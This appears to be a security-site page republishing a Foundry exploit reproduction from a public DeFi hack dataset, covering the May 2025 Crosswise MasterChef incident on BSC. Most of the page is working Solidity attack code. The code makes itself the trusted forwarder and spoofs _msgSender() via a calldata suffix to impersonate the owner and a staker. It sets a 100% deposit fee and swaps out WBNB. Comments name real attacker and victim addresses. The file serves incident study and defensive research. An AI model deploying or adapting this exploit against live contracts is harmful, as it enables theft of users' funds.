Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/crosswise_exp.sol

Public reproduction file for dataset entry Crosswise.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/crosswise_exp.sol177 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 4.16 WBNB
8// Attacker : 0xc49f2938327aA2cDc3F2f89Ed17B54b3671F05dE
9// Attack Contract : 0xafc88CaB578Af298BA412376C34B43F6392E939a
10// Vulnerable Contract : 0x70873211CB64c1D4EC027Ea63a399A7D07c4085B
11// Attack Tx : https://bscscan.com/tx/0xfe88443d73e8ae6d4799c4d3cc42488730c084624fd2daa5f035c1ad2927ea0f
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x70873211CB64c1D4EC027Ea63a399A7D07c4085B#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1002
18//
19// Attack summary: The attacker set itself as MasterChef's trusted forwarder, spoofed the owner to
20// set pool 0's deposit fee to 100%, spoofed an approved staker to deposit CRSS, and routed the fee
21// into the CRSS/WBNB pair before swapping out WBNB.
22// Root cause: MasterChef's public setTrustedForwarder lets any caller become the trusted forwarder
23// for calldata-suffix based _msgSender() spoofing.
25address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;
26address constant TRACE_ATTACK_CONTRACT = 0xafc88CaB578AF298Ba412376c34b43f6392e939a;
27address constant MASTER_CHEF = 0x70873211CB64c1D4EC027Ea63A399A7d07c4085B;
28address constant CRSS_TOKEN = 0x99FEFBC5cA74cc740395D65D384EDD52Cb3088Bb;
29address constant CRSS_WBNB_PAIR = 0xb5d85cA38a9CbE63156a02650884D92A6e736DDC;
30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31address constant SPOOFED_STAKER = 0xfD3002cE12D81c4e5F62B97F3c72f18122291A65;
33interface ICrssToken {
34 function balanceOf(
35 address account
36 ) external view returns (uint256);
37 function allowance(
38 address owner,
39 address spender
40 ) external view returns (uint256);
43interface ICrosswiseMasterChef {
44 function owner() external view returns (address);
45 function trustedForwarder() external view returns (address);
46 function devAddress() external view returns (address);
47 function treasuryAddress() external view returns (address);
48 function setTrustedForwarder(
49 address trustedForwarder
50 ) external;
51 function set(uint256 pid, uint256 allocPoint, uint256 depositFeeBP, address strategy, bool withUpdate) external;
52 function updatePool(
53 uint256 pid
54 ) external;
55 function setDevAddress(
56 address devAddress
57 ) external;
58 function setTreasuryAddress(
59 address treasuryAddress
60 ) external;
61 function userInfo(
62 uint256 pid,
63 address user
64 ) external view returns (uint256 amount, uint256 rewardDebt, uint256 crssRewardLockedUp, bool isVest, bool isAuto);
65 function deposit(uint256 pid, uint256 amount, address referrer, bool isVest, bool isAuto) external;
68interface ICrosswisePairLike {
69 function token0() external view returns (address);
70 function token1() external view returns (address);
71 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
72 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
75interface IWBNBLike {
76 function balanceOf(
77 address account
78 ) external view returns (uint256);
81contract ContractTest is BaseTestWithBalanceLog {
82 function setUp() public {
83 vm.createSelectFork("bsc", 49_186_830);
85 fundingToken = WBNB_TOKEN;
86 attacker = address(this);
88 vm.label(ATTACKER, "Attacker EOA");
89 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");
90 vm.label(MASTER_CHEF, "Crosswise MasterChef");
91 vm.label(CRSS_TOKEN, "CRSS");
92 vm.label(CRSS_WBNB_PAIR, "CRSS/WBNB Pair");
93 vm.label(WBNB_TOKEN, "WBNB");
94 vm.label(SPOOFED_STAKER, "Spoofed Staker");
95 }
97 function testExploit() public balanceLog {
98 assertEq(ICrosswisePairLike(CRSS_WBNB_PAIR).token0(), CRSS_TOKEN);
99 assertEq(ICrosswisePairLike(CRSS_WBNB_PAIR).token1(), WBNB_TOKEN);
100 assertEq(ICrosswiseMasterChef(MASTER_CHEF).trustedForwarder(), 0xCC6B00b966b0A903e1F73cbCd845A8618c9603Ba);
102 uint256 stakerBalance = ICrssToken(CRSS_TOKEN).balanceOf(SPOOFED_STAKER);
103 assertEq(stakerBalance, 10_320_972_557_081_805_631_006_556);
104 assertGe(ICrssToken(CRSS_TOKEN).allowance(SPOOFED_STAKER, MASTER_CHEF), stakerBalance);
106 (, uint112 wbnbReserveBefore,) = ICrosswisePairLike(CRSS_WBNB_PAIR).getReserves();
107 assertEq(uint256(wbnbReserveBefore), 9_771_726_308_878_491_704);
109 new CrosswiseTrustedForwarderAttack(address(this));
111 uint256 profit = IWBNBLike(WBNB_TOKEN).balanceOf(address(this));
112 assertEq(profit, 4_158_211_071_044_910_965);
113 assertEq(IWBNBLike(WBNB_TOKEN).balanceOf(CRSS_WBNB_PAIR), 5_613_515_237_833_580_739);
114 }
117contract CrosswiseTrustedForwarderAttack {
118 address private immutable profitReceiver;
120 constructor(
121 address _profitReceiver
122 ) {
123 profitReceiver = _profitReceiver;
125 ICrosswiseMasterChef masterChef = ICrosswiseMasterChef(MASTER_CHEF);
126 ICrssToken crss = ICrssToken(CRSS_TOKEN);
128 address realOwner = masterChef.owner();
129 masterChef.setTrustedForwarder(address(this));
131 _callAs(
132 realOwner,
133 abi.encodeWithSelector(
134 ICrosswiseMasterChef.set.selector, uint256(0), uint256(0), uint256(10_000), address(0), false
135 )
136 );
138 masterChef.updatePool(0);
140 address dev = masterChef.devAddress();
141 _callAs(dev, abi.encodeWithSelector(ICrosswiseMasterChef.setDevAddress.selector, dev));
143 address treasury = masterChef.treasuryAddress();
144 _callAs(treasury, abi.encodeWithSelector(ICrosswiseMasterChef.setTreasuryAddress.selector, treasury));
146 masterChef.userInfo(0, SPOOFED_STAKER);
148 uint256 stakerBalance = crss.balanceOf(SPOOFED_STAKER);
149 _callAs(
150 SPOOFED_STAKER,
151 abi.encodeWithSelector(
152 ICrosswiseMasterChef.deposit.selector, uint256(0), stakerBalance, address(0), false, false
153 )
154 );
156 ICrosswisePairLike pair = ICrosswisePairLike(CRSS_WBNB_PAIR);
157 (uint112 reserve0, uint112 reserve1,) = pair.getReserves();
158 uint256 crssInput = crss.balanceOf(CRSS_WBNB_PAIR) - uint256(reserve0);
159 uint256 amountOut = _crosswiseAmountOut(crssInput, reserve0, reserve1);
161 pair.swap(0, amountOut, profitReceiver, "");
162 }
164 function _callAs(address spoofedSender, bytes memory data) private {
165 (bool ok,) = MASTER_CHEF.call(bytes.concat(data, bytes20(spoofedSender)));
166 require(ok, "spoofed call failed");
167 }
169 function _crosswiseAmountOut(
170 uint256 amountIn,
171 uint256 reserveIn,
172 uint256 reserveOut
173 ) private pure returns (uint256) {
174 uint256 amountInWithFee = amountIn * 998;
175 return amountInWithFee * reserveOut / (reserveIn * 1000 + amountInWithFee);
176 }

Analysis

Dataset entry

Public Foundry test for “Crosswise” (2025-05-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de

  • Attack Contract

    0xafc88cab578af298ba412376c34b43f6392e939a

  • Vulnerable Contract

    0x70873211cb64c1d4ec027ea63a399a7d07c4085b

  • Attack Tx

    0xfe88443d73e8ae6d4799c4d3cc42488730c084624fd2daa5f035c1ad2927ea0f

File record

Name
Crosswise
Path
src/test/2025-05/crosswise_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
512eca103b8e450d9df5ae370a3f2caaa3b8c851
Language
Solidity
Size
178 lines
Date
2025-05-06
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/crosswise_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 512eca103b8e450d9df5ae370a3f2caaa3b8c851, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.